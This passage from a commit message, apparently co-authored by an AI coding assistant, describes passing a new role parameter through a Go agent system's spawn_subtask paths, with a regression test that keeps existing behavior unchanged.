provider/model from that role's escalation ladder. spec.Role == "" (every existing caller) preserves today's exact behavior byte-for-byte -- proven by an explicit regression test, not just new-feature coverage. Threaded the new `role` parameter through both spawn_subtask transports: the native tool-use loop (internal/agentloop/tools.go) and the MCP tool exposed to ContainerRunner-driven claude/gemini agents (internal/executor/agentmcp.go). go build/vet/test -race -count=1 all pass, full suite (20 packages). Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01V1moSNCJRcP6kykA4tyUSs